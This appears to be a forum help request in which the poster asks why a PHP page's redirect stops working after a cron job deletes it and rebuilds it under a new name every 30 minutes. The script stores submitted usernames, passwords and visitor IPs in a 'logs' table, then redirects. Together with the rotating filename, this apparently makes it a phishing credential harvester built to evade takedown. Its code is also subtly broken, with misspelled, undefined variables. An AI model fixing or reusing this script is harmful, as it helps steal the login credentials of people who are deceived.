So I have a php file it gets deleted and rebuilt to be exactly the same but renamed every 30 minutes. When it does that the header stops working but if i go into cpanel and update it a tiny bit it can be anything such as a new line between it starts redirecting on submit again. But when the cron job deletes and rebuilds it, it stops working even if i add the line break in the cronjob file as well.
<?php
error_reporting(E_ALL & ~E_NOTICE & ~E_WARNING);
require_once("config.php");
if($_POST["login"]){
$ip = $_SERVER["REMOTE_ADDR"];
$stmt = $db->prepare("INSERT INTO logs (useame, password, ip) VALUES (:useame, :password, :ip)");
$stmt->execute(array(":useame" => $useame, ":password" => $password, ":ip" => $ip));
die(header("Location: done.txt"));
}
?>
